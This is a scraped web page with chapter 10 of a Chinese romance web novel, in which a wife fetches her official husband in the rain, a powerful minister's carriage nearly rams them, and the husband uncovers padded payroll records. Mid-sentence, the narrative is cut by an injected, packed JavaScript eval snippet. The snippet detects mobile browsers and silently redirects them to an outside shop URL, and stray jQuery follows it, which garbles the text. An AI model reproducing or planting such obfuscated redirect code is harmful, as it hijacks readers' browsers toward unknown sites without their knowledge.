文趣网 > 其他小说 > 六年后夺她入怀 > 10. 第 10 章
    三月末,春雨蒙蒙,最易湿人。

    张珂自回户部上值后,整日早出晚归,忙碌不已。

    今日直到酉时,他还未归家,天又落起密密雨丝,阮倾清怕他淋雨受寒,便要去户部府衙接他。

    “清姐,雨天路滑,让我去吧。”莲香从灶房出来,擦了擦手上水渍,挡住阮倾清。

    阮倾清一手握着油纸伞,一手臂搭着件男式外衫,对莲香柔声道:“你可认得去户部府衙的路?”

    莲香尴尬吸了吸鼻子,“不认得。”

    阮倾清笑着叮嘱她,“你去将饭菜温上,夫君回来定会饿的。”

    “知道了。”莲香连连点头,想了想,赶紧跑回里屋,拿了件灰粉披风为阮倾清系上,“清姐别光想着张哥,也要顾念自个儿身子。”

    阮倾清也习惯了莲香张口就来的性子,无奈应声。

    拖步走到户部府衙时,天色已彻底暗了,官府特意留出宽阔廊檐,供来接人的家眷奴仆避雨等候。

    看着灯火通明的办差大院,料想户部所有官员应都在忙碌,阮倾清便收了素面油纸伞,站在檐下耐心等候。

    半个时辰后,正堂厚重的木门终于缓缓推开,一众官吏鱼贯而出,院外等候的仆从立刻上前撑伞接应。

    她仔细看过,没有张珂。

    片刻,又一行人缓步走出,她一眼便看到走在人群边缘,身着石青色官袍的张珂。

    这群官员跟随中间一人迈下堂前石阶,那人在人群中身型极其优越,但因她立于侧方又隔着雨幕,便只看到了那人的绯色官袍和模糊的侧脸。

    阮倾清不敢贸然唤人,见有其他官员朝正中那位高官拜别离开,方才上前几步朝张珂轻唤,“夫君。”

    轻柔温婉的声音于脚步繁杂的雨庭并不突兀,然而,随她嗓音同时停步的,除了张珂,还有人群正中那道颀长的绯色身影。

    密密雨丝中,那道身影缓缓转过,一张无可挑剔的脸赫然映入阮倾清的眸中。

    他漆黑幽沉的眼眸,精准穿透蒙蒙雨雾,直直落定在她身上。

    周遭善察言观色的官员,皆齐齐循着那人视线看去。

    数十道目光看向她,阮倾清却犹如被那人视线钉死在原地,无处可逃的窒息感瞬间席卷四肢百骸。

    另一边,张珂看到宋卿尘停步看向清儿,顿了顿,斟酌着是否要带清儿向他见礼,却见他已启步离开。

    众人随之各散,张珂心中一松,走到阮倾清面前,唤了两声才让出神的阮倾清有了反应。

    “清儿是不是冻着了,脸色这么差。”张珂握住阮倾清的手,倏地皱眉,“手怎么也如此冰凉。”

    他接过阮倾清手中油纸伞撑开,伸臂半拥着她往外走,“以后下雨你就不要来接我了,我是大男人,淋点雨不碍事……清儿。”

    “嗯?”阮倾清蓦然抬头。

    张珂看着她,笑道:“家里晚饭可备好了,为夫都饿了。”

    阮倾清喉间窒堵,紧握着指尖,木耐点头,“嗯,有饭的。”

    街边两侧店铺门前灯朦胧照亮道路,二人并肩撑伞走在长街上。

    长夜深处,一辆黑漆马车碾着湿漉漉的青石板稳步前行,男人端坐其中,姿挺拔矜贵,周身气场冷寂漠然。

    他抬手,长指撩开车帘,微凉风雨灌入,视线落向前方长街。

    细雨中,一柄青伞下,夫妻二人并肩缓步,身姿相依,男人将伞大半偏向身侧的女人。

    少顷,女人忽然驻足,抬手抽出帕子,微微踮脚,替男人拭去脸颊上雨珠,眉眼温顺,动作缱绻温柔。

    车厢内的人看了那二人许久许久,眸光越来越晦暗。

    他放下车帘,矜贵挺拔的身子缓缓倚靠到狐裘坐榻上,闭上眼,宽阔的胸膛微微起伏。

    片刻,他睁开眼,吩咐:“撞过去。”

    “是。”车外的丞空没有半分迟疑,垂首应声。

    下一刻,空旷长街,剧烈急促的车马破风声骤然响起。

    阮倾清和张珂闻声同时回头。

    只见一辆看不清颜色的马车冲破雨幕,势如惊雷,直直朝着他们冲撞而来!

    猝不及防,根本来不及闪避,张珂下意识转身,背对马车,张开双臂将阮倾清牢牢护入怀中。

    下一瞬,就在马蹄即将踩踏上二人之际,黑马忽而调转方向,车厢外壁擦过张珂后背疾驰而过,刹那消失在黑夜中。

    “夫君!”阮倾清用力撑住他,“你怎么样了?”

    张珂平复片刻,道:“无碍,没有撞上。”

    阮倾清心头惊悸未消,“街口有家医馆,我扶你去。”

    “真的无事,莫要担心。”张珂站直身体,看向马车离开的方向,“京城主道,天子脚下,怎会有如此横冲直撞的马车。”

    “或许是马儿受惊失控了。”阮倾清侧过脸,也看向街道尽头,声音低颤。

    张珂垂眸,方才那马车明显是径直朝他们而来,并不像马儿失控胡乱奔跑的模样,且就算是失控,车主也应稳住马后,下车解释一番。

    “或许是吧。”不想清儿担忧,张珂没有说出所想,只道:“我们先回家。”

    阮倾清极力控制住发抖的双手,扶住张珂手臂,一步步朝家中走去。

    两人归家后,没有告知付氏刚刚遭遇的险境,回到卧房,阮倾清不放心,掀开张珂后背衣衫查看。

    所幸并无骨裂重伤,可肩背之上,仍留着数道较宽红痕,应是马车车沿剐蹭而留下的印记。

    她取来伤药,垂着眼,小心翼翼替他敷上。

    深夜,窗外雨声沙沙。

    昏暗床帐内,身旁的张珂呼吸绵缠平缓,阮倾清缓缓睁开双眼。

    屋内寂静无声,更让她觉得自己狂乱的心跳声震耳欲聋,一双湿眸盛满惶恐惊骇。

    只因,那辆马车,她认得。

    *

    翌日,天总算放晴。

    阮倾清劝张珂告假一日在家歇息,可户部公事繁重,张珂依旧去了府衙。

    自宋阁老协管户部后,部中条理相较从前愈发井然,各项公务运转也顺畅许多。

    张珂最近正与上官户部员外郎石大人,一同主持官沟疏通的账目清算,今日需得核对工匠工钱单据,他指尖抚过纸面,逐行细细比对。

    片刻,看着上面登记的工匠人数,眉头缓缓蹙起。

    数目对不上,名册上填报的人手,较之以往经历人数多出一倍不止,分明是虚增名额。

    有人吃空饷!张珂心头一沉,当即揣好单据,去往石大人办公偏厅。

    石大人名石炎,年岁与张珂相当,却是出身世家,故而仕途亦比出身贫寒的张珂顺遂许多。

    石炎正垂首批阅文书,张珂将那叠单据置于案上,语气恳切:“石大人,这份工匠名册,人数有虚。”

    石炎瞥了眼单据,神色平淡,抬手将单据往前推了推,随口道:“不过些许小数,不必深究,照单子录账便是。”

    张珂眉心更深,负在身后的手掌握拳,没再开口,亦没有拿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963737|214395||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    走单据。

    石炎等了片刻,见他不动,掀起眼皮,脸上笑意淡去,“张大人,朝廷的库银,终不是你我私产,若是满朝官员都这般锱铢必较,大家抬头不见低头见,岂不彼此难堪。”

    这是让他识时务,不要挡别人的路。

    厅堂静了一瞬,张珂盯着那叠单据沉默,少顷,终是将其拿回。

    石炎脸上笑意重回,抬手拍了拍张珂小臂,“我就说,你我同官几年自是情意深厚。”

    张珂点头淡笑。

    石炎又道:“对了,我小儿过几日行洗三礼,你一定要携夫人来府上喝杯喜酒。”

    张珂默默吸口气,石炎是他直属上级,于情于理,他都得去府上恭贺,便道:“谢大人相邀,下官定携内人登门恭贺大人。”

    到了正午,日头正好,户部府衙内繁忙稍歇。

    张珂用罢午膳,无心休憩,独自缓步走出衙门口。

    抬眼便是昨夜那条落雨长街,青石路面被日光照得清亮干净。

    他立在阶前,静静凝望长街,沉思许久后,收回目光,转身踱步回府衙前院。

    前院空旷开阔,是一众官员停驻轿辇马车之地,各式车马整齐分列,错落停放。

    张珂放缓脚步,目光逐一打量。

    昨夜车马疾驰,他慌乱之间未能看清色泽工艺,可那马车的高大健硕骏马,以及宽大的车厢,绝非寻常官员所能配备。

    而院中除却几架品级较高的雕花轿辇,余下便只剩两架寻常木制马车,样式朴素,规制普通。

    他眉头微蹙,思忖良久,最终视线缓缓落向院落正中最宽敞的位置。

    那里立着卷云纹拴马桩,顶端悬挂一块黑金乌木挂牌,乌木沉敛,鎏金描字肃穆端正,赫然是一个“宋”字。

    当日下值,张珂归家时,家人正等他用饭。

    阮倾清一直是让莲香与他们一桌吃的,付氏坐主位,四个人四菜一汤倒也丰盛。

    其中有一道菘菜烩香干,是莲香新学的菜式,她给付氏、阮倾清和张珂各夹了一大筷头,然后睁着水灵灵的眼睛等着他们评价。

    付氏尝了口,只点了点头,没有多说。

    莲香只好又期待的看向阮倾清,阮倾清夹了块香干放入口中,细细嚼了,刚想夸几句,身旁张珂开口:“味道不错。”

    莲香闻言忙转向张珂,眉开眼笑,“陈嬷嬷也说好吃,张哥也喜欢,以后我就常给大家做。”

    张珂笑着点头,“行。”

    顿了顿,他对阮倾清道:“接下来几日宋大人还要到户部督查,晚饭我在府衙用,你们就不用等我了。”

    “宋大人?”

    没等阮倾清答话,莲香徒然提高嗓子,反应过来后,声音骤然压低,带着颤抖,“是不是,那个富贵大宅里的那个官公子?”她记得清姐就是叫他宋大人。

    张珂视线从神情僵硬的阮倾清身上划过,“是他。”

    莲香眼睛睁大,面色带着难以置信,“他看着不像好人,又凶又厉害,他府上的婢女力气大的像男人,感觉能杀人,张哥还要和他一起当差吗?”

    “慎言。”张珂放下竹筷,对莲香道:“宋大人乃一品朝臣,不能妄自非议。”

    莲香被训地缩了头,喃喃,“可他就是很可怕,当时看都不看我一眼,就让人把我押到院外了。”

    “那也是因你们公然贿赂。”张珂看向阮倾清,“不过,清儿当初怎么会想到给宋大人送人?”

    阮倾清放在腿上的手指蓦然收紧。